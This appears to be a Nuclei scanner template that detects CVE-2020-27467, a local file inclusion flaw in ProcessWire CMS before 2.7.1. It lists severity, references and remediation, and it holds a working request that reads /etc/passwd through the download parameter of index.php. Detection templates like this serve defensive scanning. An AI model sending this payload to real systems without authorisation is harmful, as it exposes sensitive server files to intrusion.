id: CVE-2020-27467 info: name: Processwire CMS <2.7.1 - Local File Inclusion author: 0x_Akoko severity: high description: Processwire CMS prior to 2.7.1 is vulnerable to local file inclusion because it allows a remote attacker to retrieve sensitive files via the download parameter to index.php. remediation: | Upgrade Processwire CMS to version 2.7.1 or later to fix the Local File Inclusion vulnerability. reference: - https://github.com/Y1LD1R1M-1337/LFI-ProcessWire - https://processwire.com/ - https://github.com/ceng-yildirim/LFI-processwire - https://nvd.nist.gov/vuln/detail/CVE-2020-27467 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2020-27467 cwe-id: CWE-22 epss-score: 0.00459 epss-percentile: 0.72208 cpe: cpe:2.3:a:processwire:processwire:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: processwire product: processwire tags: cve,cve2020,processwire,lfi,cms,oss http: - method: GET path: - "{{BaseURL}}/index.php?download=/etc/passwd" matchers-condition: and matchers: - type: regex regex: - "root:[x*]:0:0" - type: status status: - 200